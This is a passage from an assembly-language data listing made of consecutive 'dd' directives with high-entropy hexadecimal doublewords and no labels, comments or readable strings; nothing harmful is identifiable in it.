6C852600h dd 9279864Fh, 0F67E0111h, 49E4BFB3h, 0AA53F878h, 0AD0E8200h dd 54CE2A55h, 0B341FCCh, 88EE4041h, 2CA3E273h, 0EA1B5B00h dd 0CD9A860h, 7A100724h, 402A23F1h, 0D8FF38E3h, 0DA359400h dd 8B1DA3C0h, 0A0AC00CCh, 95BA59A8h, 22010C0Eh, 9AC4FC9Bh dd 5E20A521h, 28A0E677h, 0C947C5h, 0C88911C1h, 0CD0CE65Dh dd 64E0FB0Bh, 3D2D83A2h, 0DD440738h, 30FA9AB0h, 23D95061h dd 0ED401701h, 870FFF1Bh, 0F8F430h, 386F05Eh, 0A1C26415h dd 0EC41FC00h, 0F3A6D04Fh, 37C0E971h, 78FA0E9Fh, 0FD406BD5h dd 0B0F7493Eh, 4C03D890h, 75B60AECh, 84A7A8C0h, 9C600086h dd 5C3BCA19h, 40984B22h, 703DF771h, 36C70EC1h, 9D02405Dh dd 7866719h, 37B3ECE6h, 0C398E0EDh, 0B77DF96Eh, 0F0CB5B00h dd 7E5F8B79h, 558D0006h, 0AF51D9ACh, 57000C21h, 0D8482F0Fh dd 0C6FD59h, 98CE8E77h, 0B0AE4217h, 47F13700h, 9D54BD4Fh dd 0DF2900F0h, 0D9D6F2AFh, 13003E28h, 0D8DC8AB9h, 21B117h dd 416078DDh, 42691D6Eh, 0D92EB31Dh, 7A948602h, 778D8012h dd 5C6495h, 1D8FF3AFh, 7B237410h, 3E27E203h, 0C8607AECh dd 78351997h, 994002Ch, 10F655D5h, 9498285Eh, 0A930CA00h dd 78ACE369h, 59800BEh, 179A25AEh, 0E0004DFCh, 0F610B81Bh dd 0F2BFE2ABh, 7AB200BDh, 5A9D1FAAh, 2200A5AFh, 3FA23A38h dd 9268BAh, 648B9C31h, 0C52CF3D7h, 3000AFEEh, 3B1FE179h dd 446275h, 71217356h, 0EB64AC8Eh, 7B14C900h, 8843C5E8h dd 0D55E0067h, 38E2C876h, 26009AB7h, 4BFBEFADh, 1F74CF03h dd 40B256B3h, 83E36366h, 620764C3h, 0A98BD9E5h, 0DB240EE0h dd 0ADDC00B1h, 5E208148h, 93F0F6A2h, 4B0344F6h, 77937E3h dd 343FB0F8h, 4148004Ah, 0B29B9D39h, 0FD00C1CCh, 59C326CAh dd 0C7C486h, 0FB5393B8h, 44DA0825h, 0D61D5700h, 724DBAF1h dd 0DC9E0160h, 3F515821h, 90ECC18h, 90480F00h, 0D341B657h dd 4DFF0071h, 0D8B7A8ADh, 0B40056E5h, 839FBD5Ch, 1EA9AB0Bh dd 9CF5EC65h, 0EB694026h, 0DC7214A6h, 84EDCA00h, 0E7EEAA21h dd 94A0004Eh, 5E371265h, 0E901F6DDh, 6162BD72h, 5C302475h dd 2E5900FBh, 67FCC760h, 0B3002D18h, 0A8C32C95h, 3AAB355Eh dd 3D80501Bh, 4F9DD5BFh, 0D10FF1BAh, 47897568h, 0D4B01097h dd 262764h, 0E24AEC73h, 172C1D30h, 0E9B0D00h, 27A018DFh dd 62B501F2h, 218A4543h, 48D0D45Eh, 8EB84F00h, 9093AAF6h dd 4BA90E65h, 758071CAh, 36FA9749h, 0ABEC3300h, 279F8909h dd 0B43A002Fh, 382D1E61h, 24777DE5h, 0E2582600h, 0FFF7B809h dd 0CA1C3AFEh, 3D48B700h, 8FB322A7h, 0A300F7B0h, 8DD4F51h dd 1F5B176Ah, 40D94EB9h, 78F2A5EAh, 0FDB0C0A1h, 0E390DC03h dd 90D6E18Ah, 5CC10D42h, 0F43CA202h, 2762F98Eh, 46F56D60h dd 765074A1h, 0CB003D9Ch, 2E3618B5h, 0E4B9B2Ah, 915A7BFAh dd 124AA5E0h, 7600E146h, 29C9BB8Fh, 0CCA1DBh, 9EA48631h dd 0BF04308h, 35F26E00h, 6F41AB96h, 0FB4000BCh, 27D29C52h dd 53000AB9h, 0E98EF19h, 78599D90h, 0CA3B0556h, 80E12CE6h dd 422395A6h, 79BF7A09h, 343C00F9h, 0EE86E3F0h, 69D30006h dd 46436812h, 0FF582F76h, 5DD61C94h, 9D071780h, 4BBC5A1h dd 0FA14D778h, 0F71FC057h, 0A61DD9B3h, 50C00346h, 372EB199h dd 7DB700A5h, 610FD3EEh, 0E6007B5Eh, 0DBC3BA8Bh, 0DEF9E7h dd 19460B8Fh, 47BC0522h, 57519003h, 93662502h, 0EB83A082h dd 8FAC0073h, 0DFF83D38h, 0E10081AEh, 5A0CE3DAh, 0FECC0474h dd 59320043h, 7DC53AF7h, 0D4F3A612h, 6307D1B2h, 49605F93h dd 8A9D9C10h, 0C3FC00A8h, 0DC2B37F5h, 8903F01Dh, 99922744h dd 4ADBD8BDh, 98FC001Ch, 0ADB7EE02h, 0A3F26C8h, 5E768047h dd 15B4C6D2h, 369871h, 0B2B656F2h, 8F8C8A92h, 3AB3D601h dd 0FEB9436Eh, 86D8D0h, 5FF4672h, 5A98B67Ch, 4120BE00h dd 3BBC1E3Fh, 0D09000D3h, 9FF30D9Eh, 0CF76CA35h, 252A6001h dd 69C93F86h, 4198CCh, 0B31E9294h, 0E85CB8C1h, 48EB5D1Fh dd 4CAA2240h, 89EFC5h, 252C8153h, 33591546h, 87FFAF03h dd 0A8D76D22h, 7A1D4311h, 5F6203A7h, 0DDD99E2Fh, 244A83A8h dd 0ACF61C00h, 0C3F7BCD6h, 22CA00B9h, 0AF1F03CCh, 920016E9h dd 3184954Fh, 4C793317h, 0CD02257Fh, 0FD3DDBC6h, 92B8B763h dd 9500CBCFh, 0C204A8F8h, 1DE979h, 0FA5A66FFh, 0C4837EE1h dd 7AD0E500h, 0B92E20D9h, 0A30F0FF2h, 0F9001CA0h, 0C936A42h dd 1786474h, 0BEC72800h, 0E91470E8h, 0F4CD00FFh, 0C663E527h dd 800BD73h, 0DC96BB82h, 74A086D2h, 467962h, 0A4FAE2FDh dd 2CDF6E27h, 3A8E953Bh, 55BE1EC5h, 0B0FBC843h, 64A0D0B8h dd 0E16D036Ch, 0CF10723Ch, 6B8B9BB0h, 0B2FC46F6h, 9C0BBE0Fh dd 3211004Fh, 79743F38h, 9FE06Eh, 1CA7EA3h, 0E31EEEC8h dd 753D8500h, 0C48FCEDAh, 3F60050h, 740DADF1h, 0A17BE0F8h dd 1E18EA00h, 57C7054Fh, 8E6DAh, 0DD99F977h, 84EB56A4h dd 2D83A500h, 18ABDBFAh, 292F07ECh, 0B09FFE1Eh, 0EFDB88Fh dd 0D7037E90h, 837F26F1h, 1481F004h, 55930F10h, 94A08D86h dd 7A07A99Bh, 9EE5E100h, 0EAEF45F4h, 28F374B1h, 0D4C139h dd 8129CED5h, 2216FCFDh, 0CC983500h, 0C64FA333h, 0D9AB0074h dd 0FD51AC72h, 0B10058C2h, 0AE36E982h, 0EE4C6B9Ah, 0A360F1FFh dd 3F277842h, 839C25A8h, 2D7900D6h, 69B847E3h, 7DF13500h dd 0A7DCF2B0h, 507E003Fh, 1A6F1043h, 6407200Ch, 786255EDh dd 0C29C1600h, 44370083h, 2AD676A5h, 7E5872B8h, 0E37B7E86h dd 0F482A00Ah, 79819485h, 3322D152h, 0A9B89017h, 3B0A6474h dd 0DD51EF80h, 1ABCD300h, 7C2AF99Ch, 0DA1900C9h, 2C9FF53Eh dd 41035EFAh, 34D67049h, 0BAD4C8D0h, 4F593C01h, 0BDAE2B80h dd 394EAA81h, 0E8174603h, 97D0183Ah, 48DA0CC2h, 1856DD60h dd 11683E7Dh, 4F2ED374h, 850078D9h, 0B90255D6h, 0F44E00EBh dd 0CE689D86h, 88602060h, 0A0A2D192h, 4AF50021h, 13BF9A5Ch dd 1F00FBD5h, 0F70ACE06h, 12EE93Dh, 4D0DB4A9h, 0E06A5926h dd 0F100BC4Fh, 43DA3776h, 7735C36Dh, 0F0AA0086h, 0EF692E2Ah dd 2328E19Dh, 0BC80A066h, 4D00021Eh, 0E3E68796h, 0F058D804h dd 0B47178h, 0C0360985h, 0E2BD614Ah, 0D7E3510Eh, 3E480062h dd 1FA6C8A0h, 81A73384h, 0CCC034F0h, 2941D86Dh, 0BA8BBC3Bh dd 0B73C0747h, 70200E55h, 150DBF8h, 78D705BDh, 0F4B0E8E7h dd 0C3009BBEh, 35FCF926h, 9FFBC0h, 0C5CF4992h, 7D3CAFE2h dd 0F2805501h, 0E34ACA26h, 0D003ECh, 5EC89FAAh, 0CB547418h dd 5B0A8800h, 0DA2202D6h, 0BBAF0039h, 0B0433C64h, 1D50A052h dd 8A3EE2FCh, 0EA0D8E0h dd 2084B7A6h, 0A98C4EC5h, 0A0500044h, 6A51B37Ch, 0E30022D8h dd 4B886D68h, 0B01BEF75h, 0B8609F2Fh, 0BFF090h, 0BE64DA2Eh dd 267A2Ch, 44EA556Ch, 5E89E847h, 6A5C5000h, 6470C468h dd 37755C8Ah, 6700CC3Ah, 0A8499CF9h, 6007DDF3h, 441F2F8Bh dd 65CC6970h, 3BE30E74h, 0E7800C8Fh, 0A576E6A3h, 19AFD81Fh dd 509EDB80h, 6092235Bh, 395F3CDDh, 0E6000DE4h, 4BE58CD5h dd 0B59E8h, 4CA0A62Bh, 0CA769FA5h, 0FC39E300h, 0FA37A98Dh dd 0A02F5061h, 0BCB81C7Ch, 98280EEEh, 0B63B5AC0h, 71001C6Ch dd 52AC84C2h, 0E90BF4h, 0A97AC951h, 6E6C63D8h, 342E1F00h dd 5B42F8B3h, 1187C55h, 0C95411FCh, 0F892205Ah, 31029C41h dd 914F8857h, 33DE090h, 0EF8C00BAh, 750C105Eh, 3600E319h dd 1EB2AA7Fh, 3403ACh, 0CD402486h, 0AC59188h, 8EC76A00h dd 0ECD6BF20h, 0C8870039h, 3CCE0DFFh, 7F00FC59h, 0C95C6217h dd 0F3ED86h, 0B5807490h, 75482C06h, 82169100h, 0ABBDEE36h dd 71461251h, 260449B3h, 8F818580h, 25003DD2h, 0E5BE6158h dd 70049Dh, 9AA7E0Eh, 3172F0F7h, 0BF1DE305h, 0C800020Dh dd 298CFD52h, 0D9530030h, 0BC5E951Fh, 0C6002EADh, 7EFCE843h dd 1DC25F38h, 0C1841DC5h, 0DFB6D4C0h, 0ACB3DCE6h, 89375600h dd 91355A3Fh, 60530C19h, 4C2E4F8Dh, 5600167Eh, 0D87D64F6h dd 3B2D2783h, 9C8A2E70h, 1B92885h, 78BDFB08h, 0C95834D2h dd 13ED0900h, 2C45199Dh, 9EE001F6h, 55AFC5D4h, 5A477072h dd 78262090h, 0E0A05433h, 4DE54903h, 0D896EA94h, 56B2A1h dd 0DC7B2822h, 0A323E7EFh, 750050E8h, 316CBC57h, 7E5E08h dd 0F3D2A6C4h, 51F85C66h, 38623603h, 0E75DF0B6h, 0A37A8A0h dd 147F0116h, 0A9112C74h, 8EB8205Ah, 9A4A5900h, 6751D28Ah dd 0F38C2CEBh, 0CD4C0135h, 603D287Ah, 0DD033B14h, 0CB7D0C82h dd 0B89EDB78h, 69152B3h, 7EF1A2CEh, 0DD017C41h, 2C92D673h dd 0DC4064F0h, 1F87DCEEh, 891BF6D5h, 8082426Eh, 0C0E044C3h dd 0CF753565h, 805A5300h, 40D517C6h, 0F030ED6h, 2FCF720Ch dd 0ED0ED300h, 8000D85Ah, 5561E0E2h, 4E924h, 79F72007h dd 28AB2F7Ah, 8C2BA8F8h, 4F9EC80Bh, 0AAE6ADC0h, 3BA4B0h dd 49481476h, 0A3E9D8E0h, 79926C3Ah, 907E51h, 34D5E2BFh dd 65009AE0h, 9570A042h, 3A4D7797h, 0FABDC6B6h, 0AFA0704Ch dd 3900A218h, 8612D1F8h, 0EEF634Bh, 81112E23h, 0D07734A7h dd 0E4611BC3h, 7D601F01h, 55B44875h, 7B200FE1h, 9FE9002Eh dd 0EDAFCFDEh, 0C3F20692h, 78675503h, 0B85453FDh, 50BF4B94h dd 1E3CA429h, 92DEA8h, 23050725h, 0F571DBBCh, 9300C773h dd 9CD91706h, 0ECA5E9h, 6C2CB1D3h, 61139FA0h, 9581FA00h dd 4E64DD8Ah, 52ECF9h, 0F77763D4h, 42AF8069h, 39714802h dd 60C77417h, 0B0E054h, 0FFD396D7h, 48A45441h, 0EE30BA00h dd 0C44250A7h, 80ED4C6Dh, 0A6C7FE00h, 0F0573871h, 784F3603h dd 0C0F2C3B0h, 0EE336D4Ah, 3007007Dh, 8B87BB5Eh, 8905055Ch dd 8A6698A5h, 4F788300h, 3FAC6486h, 9F8067ADh, 0E8339748h dd 0E001640h, 478DDE60h, 1EF3D80h, 0C3738CF7h, 0D8D29D03h dd 3B3C2224h, 0C046AEE7h, 57749907h, 8B35A50h, 0AA2A00ECh dd 7C2FBAA8h, 1B000BDAh, 0F426308Ah, 314CA7h, 0FA22199Ch dd 1FD7CC3Ch, 9DE88F39h, 56E019Dh, 3A7BDF00h, 389E75A5h dd 60005218h, 3F81CDC0h, 3800DBADh, 2BE68B1Ah, 13D152Dh dd 237D6F55h, 0E84F913Bh, 56F0CE5Fh, 85A7EA39h, 98F81D69h dd 164F8440h, 9B33C8h, 85C9B37Ah, 8E87DF0Eh, 0A4AEC8F9h dd 467FDC90h, 0CF42ED01h, 2629AC53h, 0BE76A70h, 146E361Fh dd 41E11F83h, 0C1E0FFAAh, 2082631h, 0F76945h, 0EFCA25D1h dd 0FE00B706h, 3A5C599Ch, 0FEECFD04h, 2E7D3E4Ah, 8885480h dd 0B233096Bh, 581F4Ch, 274EE635h, 0ACDD23h, 5822BC80h dd 1F472B90h, 32ADE807h, 21973E4h, 40B4BF54h, 32852DFh dd 0E1D77486h, 34F355FDh, 0F1A621D0h, 0D272E71Fh, 83BD1680h dd 0CDF05Ah, 0EEF2FA4Eh, 0C211042h, 77198F00h, 3B81DCFFh dd 0D6B895h, 0C88C9ACEh, 0E3DA0574h, 16E53Bh, 20D52791h dd 145A43h, 36E9B547h, 0CD0FC008h, 0DADD6900h, 23A7816Dh dd 6EDB0099h, 4C96A42Eh, 60F2835h, 40546891h, 64C44161h dd 561700EFh, 4051C23Eh, 200094A1h, 88D9B47Eh, 4652BEh dd 0DD26358h, 0FD441329h, 80454238h, 3E4147DCh, 772390Eh dd 0F19EAA79h, 0C0DB40CEh, 9058C6F7h, 8C1000B9h, 0F5DF4FE9h dd 0A7710B33h, 0C102E585h, 1058B598h, 0BFB0E874h, 0E20E8C77h dd 0E48FD2h, 1EAD3034h, 1F71DBh, 4ACFB12Ch, 0E1AE1478h dd 9B7AA400h, 0D1E29E09h, 8795002Eh, 0C98A42C0h, 2B1CCD03h dd 0D649691Dh, 0F2C46E72h, 94609F75h, 21505A87h, 0CE030FFCh dd 0E79AC013h, 0E050F755h, 9B98AEh, 0BC77A661h, 7069228Ah dd 0F800B471h, 393D3B73h, 2FCD715h, 9F30E620h, 55E01421h dd 56E645A7h, 66744200h, 97A884A4h, 3B5FF063h, 0C78023FDh dd 7D688740h, 0D3004CCAh, 91DEED28h, 0BC9930h, 985C97AEh dd 0C2BECC8Ah, 73289A00h, 663BA285h, 51B700DBh, 625A7EF4h dd 0E82EE20Eh, 6A874492h, 9590C08Ch, 78708677h, 0B6A700DDh dd 6E831BF5h, 85078724h, 1C2EFE2Ah, 0A5B13AB0h, 98D6018Bh dd 4E0186EEh, 8763C031h, 225A5200h, 60A2AC7Ah, 0BF070554h dd 0C1383451h, 0CA32C1F0h, 0C2019C60h, 60F84B59h, 2B2A9354h dd 0E36D0015h, 0DD867535h, 4E0005ECh, 807C3DD9h, 0BCF43A8h dd 8F2EA22Ah, 0F950EB87h, 8881808Eh, 0E4978306h, 0AE7A1FD3h dd 36017A75h, 0B8ABB4D1h, 6BF8D719h, 0C4D500A5h, 0A004FB8Ah dd 1D038FEEh, 98229F7Bh, 9950C0A7h, 3B7FC9h, 8A349A9Ch dd 0FC4A5AB8h, 745B30C0h, 7CB04D4Fh, 548102FAh, 6B9B0ED8h dd 0B3F2F1E0h, 0F62DB63Ch, 14FFF42Ch, 7FA20300h, 2E10235Bh dd 4F77CFBh, 0C002C869h, 42EFD45Bh, 0B8C9890Ah, 83009E0Bh dd 64B1357Bh, 0F84D002Bh, 2C36201Bh, 770016C3h, 3329D399h dd 0E10FCFh, 5C500A95h, 0ECC6DAF5h, 6400017Eh, 55D8717Ch dd 2D0D754h, 0E2404C1Dh, 2C405D5Ch, 8BB0B9D5h, 0E1D8B512h dd 0D9545C00h, 3E9A5D6h, 6ACBB63Eh, 8FD06C1Eh, 0CFB0B4BBh dd 0B88FB01h, 4719AAF8h, 4A52B440h, 0DDB20005h, 0B04BDECCh dd 7A005E97h, 0E2BD1E0Ah, 13309299h, 460468h, 0BB5259F9h dd 6C006B9Ah, 0C929AA48h, 68A1130h, 0E00AF15Fh, 8007E250h dd 0F7C59621h, 0AB1359C0h, 82F100E2h, 0FCE74A3Fh, 6900BCC8h dd 5D60B161h, 28E672C4h, 5A1802Ah, 0CC9F9594h, 8BC0347h dd 90EFD0DAh, 8BDBF5C5h, 1D00C77Dh, 76C8D877h, 9745E5Dh dd 34179B50h, 953FC440h, 61D20300h, 6D7230FEh, 0F77F005Eh dd 0BEE11AC5h, 230091F1h, 0A1A556CFh, 36AA0E3h, 40B8EBC2h dd 0A788DF83h, 0E60EFE09h, 0E04E25ECh, 5C983520h, 3A1D00A5h dd 42E4B7E8h, 4C008D02h, 0BA0D07AAh, 3F825EF5h, 0E200D795h dd 0E5A0FB3Dh, 9AF431C5h, 0D307B600h, 8F545D75h, 0F3520158h dd 0F566539Eh, 9235EC43h, 1E2B7300h, 86A599FCh, 0AC5100C5h dd 5B2026AAh, 8A0E9665h, 6335C040h, 0B85EA9DAh, 755C1E8h dd 1883B686h, 0F93F60B0h, 0FF0F24CCh, 807C0454h, 21EA722h dd 0F3BA00D8h, 94353A03h, 0CB05326Ch, 0A9620DCEh, 453F60D0h dd 0BE200E6h, 426722D0h dd 8A90A395h, 0CC99FB00h, 6DAB97C7h, 522A38BFh, 0AFBDA789h dd 0C3F4F500h, 6C00C238h, 2AEE3ACh, 7128A03h, 11B4D48h dd 2A2B8057h, 0D80EF636h, 0A026BF67h, 0AF5F774Fh, 0BDBEF806h dd 0E4550FE1h, 2CB02BBBh, 0CA0F89ECh, 0C0594492h, 0C8468E6Bh dd 7AE90083h, 82ACA581h, 0A0000976h, 1469E0CBh, 0CF3B074h dd 0D279770Dh, 0C000B4B2h, 934EB515h, 0EE0528h, 0EB1CB58h dd 0A3C10C2Ch, 0F9C09000h, 7513A5F4h, 6E4F2h, 60A41173h dd 0BB5BEBF6h, 7239D0Bh, 0D0DC042Bh, 7E781880h, 727900C9h dd 0D3A97D0Ch, 3BE49F0Dh, 52425C01h, 60860873h, 0E43DCEEDh dd 1BD2EC5h, 3246C8E6h, 1776E451h, 3C77C100h, 9552CE18h dd 5FBA0C19h, 25389C21h, 0CC4C3600h, 0A1917BADh, 0E93E071Dh dd 0A08F4508h, 37A2C939h, 94029300h, 6EE47A2Fh, 21BC00BBh dd 6C5D99DBh, 81005BC7h, 0D04CBA97h, 7FB762h, 54DE7201h dd 0C39AA8Dh, 0AD16D801h, 3AB84B29h, 0F646860h, 0AA9B7F18h dd 5C2DACE0h, 0EB0017D3h, 8AA5966Bh, 618886h, 322BAADEh dd 47F15005h, 73104624h, 0ECCFB300h, 1C673A5Bh, 280B0Fh dd 43FDD248h, 12006180h, 75581A7Ch, 0F3B713h, 697363C8h dd 9B80ADCAh, 612A7B1Dh, 6FF09040h, 4CF65h, 21A37FFBh dd 0BE052701h, 0C22C0930h, 3E79024Fh, 22808224h, 0C92F217h dd 687D2B9Dh, 0E074A0Fh, 7F38CB29h, 2A78D400h, 1600F589h dd 3DA44099h, 0CB2EACh, 0A18D59C1h, 0F5227F2Dh, 509A84A8h dd 0BBBE1700h, 0E0ACC89h, 0B5E500ECh, 70FFA48h, 0AA0E4E2Fh dd 0C002D4E2h, 297842E3h, 3EC60021h, 9CDD4325h, 0CC7366B5h dd 8422E400h, 1DFF1397h, 347000DAh, 329CB768h, 0C9137A2Bh dd 7100C3ACh, 2874F624h, 0EDC80020h, 0B3FA60Eh, 0C200E262h dd 0B8154384h, 0C16956h, 0FA227C08h, 2C88F596h, 85ABB300h dd 37D4957Dh, 267F80Eh, 0AA7B568Ah, 0AFC02962h, 24F45E87h dd 19E0D500h, 16711546h, 9B5900E8h, 200E1A03h, 0D9392565h dd 9C281797h, 10A16600h, 0B0F4C157h, 95EF00C7h, 271B0876h dd 7B00E0C5h, 38BBAC21h, 342475Dh, 23742612h, 0D4D02C6Eh dd 0BD48696Ch, 0B2F3CD4h, 71942Eh, 95FF231Dh, 71B9832h dd 0B8F382A6h, 0D81E6C0Eh, 60041403h, 3F95DE8h, 2539AE70h dd 80D789ACh, 49D8A1B3h, 0D9995502h, 60BC1C10h, 0C0AE7FCAh dd 0CE427720h, 0A7006184h, 5FBB4A8Fh, 9AD32h, 0A3F4E875h dd 85C8C6BFh, 94613F00h, 9BD1E34Ah, 74350037h, 0DA509834h dd 0B00BC16h, 44C94CFFh, 0FE20433h, 76931D9Ah, 40B741C5h dd 9EC63158h, 0B92CAE77h, 5E0087B3h, 0E86A4FE3h, 0B4D73D97h dd 8A3CFB5Ch, 9AEE1800h, 0B3D861B0h, 1F515B00h, 7FA504E0h dd 0F184608Fh, 0D7B3AE7h, 0EF183Dh, 0DD92C0A2h, 61208Ah dd 71AA394Eh, 0A41DB302h, 0C4B80700h, 0B7300455h, 6C9009Dh dd 168268AFh, 311F9E4Eh, 0EC82CA3Dh, 401FAE04h, 18C919h dd 5F49BB82h, 81A42156h, 0A5274200h, 0B26DAD30h, 0F80FA6Ch dd 506EE9F9h, 3843BB60h, 441D99ACh, 55802905h, 248969DFh dd 6DB5002Bh, 5698736Bh, 0F198947Ah, 0BCC2A400h, 275BB25Fh dd 474B0024h, 74659C3h, 86001B4Ch, 0A8E0D7F7h, 5C2EDA79h dd 3507EC7Bh, 6A6A0214h, 6FBA80A8h, 88B8C308h, 0B910700h dd 0D58BF348h, 0E1820101h, 597B236Eh, 0C0EDCF64h, 72F3EDB1h dd 5D74CE04h, 1680CCD1h, 7A6D9Bh, 0C066AAE3h, 0EDCD8E6Ah dd 0C3A01607h, 0F6013F7Bh, 488376CEh, 68D9FF81h, 9496DDA8h dd 79B99E0Fh, 0A47C60BCh, 3B0D7E65h, 5E8325B2h, 8BB7F3ECh dd 0A9FE20C7h, 4C7BCC15h, 0B60E660h, 0ADD446h, 0BD8CF72Eh dd 51EEB2Fh, 39003A7Eh, 0A9B51D8h, 3251C06h, 0E8E5ABCEh dd 80A73368h, 78D2328Ch, 0FC8DE000h, 74A4D56Ah, 0F0907D64h dd 0B033CBEh, 24D15500h, 9778E2AEh, 0C4A14A00h, 0CDE757A0h dd 57B1C5Dh, 0F4F14F48h, 30D4E840h, 0F4C024B2h, 8363AD7h dd 1CA9078Dh, 0C0798B1Eh, 0C0426582h, 0EA872D1Fh, 5B096419h dd 588221A8h, 2E000346h, 1BB04DB7h, 37003D84h, 3C20A5C0h dd 416F65h, 0D0F49262h, 6D6E5A82h, 18DB13Ch, 5BC1CDA2h dd 50839A05h, 6F04E7E3h, 45679DD8h, 66DBAD1Dh, 209B220Ch dd 0AB4800B6h, 7FAE36Bh, 157CFB5Eh, 94BDF407h, 0F290C790h dd 667299B1h, 39F060CDh, 0AFBC2304h, 7E80644Ch, 27E8ADh dd 0E55562BFh, 9CD306A1h, 18B32130h, 79B395Fh, 89F351EEh dd 9919C086h, 70074C2Ch, 0C45F2810h, 3B26ECF0h, 9E083F18h dd 9B0051BCh, 5FEF87E6h, 0F01F755Ah, 53C2E2B2h, 0E078B1A6h dd 0F1AF26h, 42EC44C2h, 774C294Bh, 47618364h, 0CD74BD60h dd 0D0407C08h, 0F0CF479Bh, 0C1EB5F43h, 80097439h, 5A878012h dd 0EED34918h, 3029E899h, 0E0B88DCCh, 0D401E49Ch, 91F282F1h dd 0CC60E2E1h, 9022005Eh, 4899EEABh, 10760ECh, 0D467FEEBh dd 0D930C397h, 7829D1E2h, 3F830F45h, 0D3EFE484h, 0A573E940h dd 0A105B86Ch, 0C1A6DB69h, 0F2FB7280h, 8435002Eh, 0E6F1A028h dd 3A00B04Bh, 422971C2h, 696ADFh, 8AC7D465h, 0AFA49C1h dd 4855A201h, 17CD0B44h, 4B57D4h, 0A7C9A68Dh, 421FEA45h dd 0E7E48h, 33E0E9C5h, 589343F1h, 0D600C111h, 0A89E2ADFh dd 88386657h, 0E6EB00B5h, 0A582EAC0h, 2B8939D1h, 81BD0079h dd 2F546FCCh, 7B06EB31h, 0AECD9424h, 0C1959804h, 54356A28h dd 4AA1E0CBh, 5D8D3B01h, 8F440804h, 0D5B870h, 299DAEB2h dd 0C1389009h, 3141E000h, 0FB6CC367h, 0D5F00761h, 80083EEFh dd 62ED2EF1h, 0CC722B1Dh, 0DDAA91C0h, 0BD6B53h, 4B5D4CFh dd 0C2D95E86h, 2DE3121Dh, 0D3D21C03h, 9F49C8CCh, 0AEC10F8Bh dd 7BA03F5Eh, 449C600Bh, 0E284000h, 0F899D3Bh, 0FF57790h dd 0D2A59F4Fh, 4E736D40h, 79EA39EBh, 0FA03557Eh, 8C7C6824h dd 41A0E7CAh, 265B58h, 9FAAB96Bh, 0EC29B656h, 12FF3317h dd 0DC805900h, 11B53D2h, 0D05C463h, 0D15ED149h, 0BB5AC438h dd 610017F8h, 398523E4h, 4D9F29h, 8750F13Fh, 10860D72h dd 0BB96600h, 0DE39A3DBh, 0ACBD00E7h, 0EA8D4E3Ah, 17092B9Ch dd 80D727A9h, 7C0572F6h, 12D98D3h, 82C8B128h, 0D88E143Fh dd 663A0803h, 5B2D0749h, 6E70439Eh, 75183795h, 2C6A0192h dd 0AEC62004h, 0DC68611Ch, 0A70FFC93h, 6F347E0Ch, 6D1E20CFh dd 77D6C140h, 99D00A0h, 79D0A6A5h, 35B077C6h, 70E78C00h dd 0C01CB6C1h, 134C005Bh, 9C930A33h, 3F00E652h, 0F9EE988Ch dd 1E012805h, 0E97F4A4h, 3D40E0DDh, 931A5420h, 0D10CB803h dd 0EC4E8351h, 0E0C7F383h, 28DE89h, 63F1AA66h, 7B067E3Fh dd 0E52ADD01h, 6C541A98h, 0F0CB0FCh, 0F0D417ACh, 0EA4A47A0h dd 0B3B8A04h, 34FE8088h, 0CAE42559h, 2F7A1E53h, 0E337804Ah dd 9EE21E19h, 548A2C01h, 0DA0389E9h, 0B040C6F8h, 7E83E65Ah dd 0F1670341h, 15BE0826h, 0AE230DC8h, 7D3A1472h, 9C710037h dd 6C7CF9B4h, 427F008Dh, 0D1A2CE80h, 1000F8FCh, 8245D90Bh dd 38FECC6h, 0AD0F3FEDh, 37A0AE97h, 0EA0350F3h, 92251040h dd 0FA4FDB69h, 0FA6240B9h, 0C791002Ah, 95EC2708h, 4A98175Ah dd 5F421A00h, 752AF116h, 68DD0781h, 473844B3h, 7457D041h dd 273A6F6h, 231642FCh, 1A00B6BAh, 0A2AACC13h, 4B7900DEh dd 1731C226h, 0B000825h, 8CE17A03h, 0FCBBF6A3h, 3B1B13CEh dd 0C30C0282h, 88A75DB1h dd 26A09065h, 0B007B603h, 70EDFE76h, 0CEA675E0h, 0A102006Ch dd 35BFC77Eh, 0C9005397h, 238D1013h, 407536h, 5595E1Dh dd 0A83F79BEh, 0CC5F8A05h, 0E50EA218h, 0F545E05Dh, 0AD87C8h dd 4E563D9Bh, 0CB428578h, 800D6138h, 0ED0107CDh, 3BE38796h dd 2C879AB2h, 0A097C159h, 72FF229Dh, 0DBC6AC00h, 5C6890D5h dd 0D9F2CCh, 9C130B6Fh, 0D374048Bh, 0CE97B000h, 6D3F5964h dd 9D4D0ED4h, 0AAD2317Ah, 569C221Fh, 0DE856200h, 90B8D4D7h dd 73A70055h, 0CFA4C879h, 0B900345Bh, 6F9C03EDh, 0F57580h dd 0B1271B26h, 0A30E0183h, 1F935E00h, 0E768107Ah, 6779EDh dd 0FCE4C32Ch, 0E9583CA0h, 3FC1D100h, 492204C9h, 0FEC500EBh dd 0A852A327h, 6B0424B7h, 2210A99h, 49DEC0BAh, 0A7048F82h dd 0C02A923Dh, 5F1D9CC5h, 0E15BA80h, 0F0C9E985h, 0FE13FC4Ch dd 41DB00F8h, 298104F6h, 5D009119h, 9A5F1FDDh, 777FC65Ch dd 0B6883A0Dh, 6337B700h, 0AA749650h, 0F0928B00h, 340BA48Ah dd 6B9913A3h, 6F2A00AFh, 3608BD95h, 9F035F00h, 3A40464Fh dd 0D38D0016h, 2688F49Dh, 36058637h, 0BAEC203h, 3E6609C0h dd 4D02027Fh, 34BCCCA3h, 0ECA785FFh, 0F35B9C0h, 26920F0Eh dd 0D9E074A1h, 54AFEF3Eh, 73581301h, 0E1DBB67Ch, 0A6F3E4h dd 9DDC770Fh, 0DA07E3A3h, 0AEC09700h, 8E7A633Dh, 0FA3F0E12h dd 0EF602E7Ch, 749F47FFh, 0EE0F8C7Fh, 0A181CB75h, 6AE21724h dd 712A0060h, 28090043h, 0C9FBF41Ch, 34E8A16Ch, 83208E0Fh dd 8631A162h, 0ACC84DF5h, 614F00A2h, 6D41B82Ch, 0C700E268h dd 98E4CB48h, 81CF8h, 10DBAFF9h, 0BD7FBBB3h, 0FF371D09h dd 60B1000Bh, 40E61Fh, 19DDF7FAh, 0E8C93865h, 9600C6F6h dd 0EB32C56Bh, 0F63E04Bh, 4264898Dh, 41A47660h, 7A013439h dd 1A4C80D5h, 63E44727h, 6A651CDCh, 516B800Ch, 0F0CFC7F9h dd 44EBAB00h, 92742AA8h, 853100E5h, 0C8DF0EE6h, 2E035538h dd 9A47E479h, 6504F016h, 974B1D46h, 0C8A3C0A9h, 3F177E92h dd 9E9B7D00h, 968DFD42h, 61082694h, 3E5424F9h, 57E90076h dd 0EB4676D9h, 0B0015B9h, 0CA871035h, 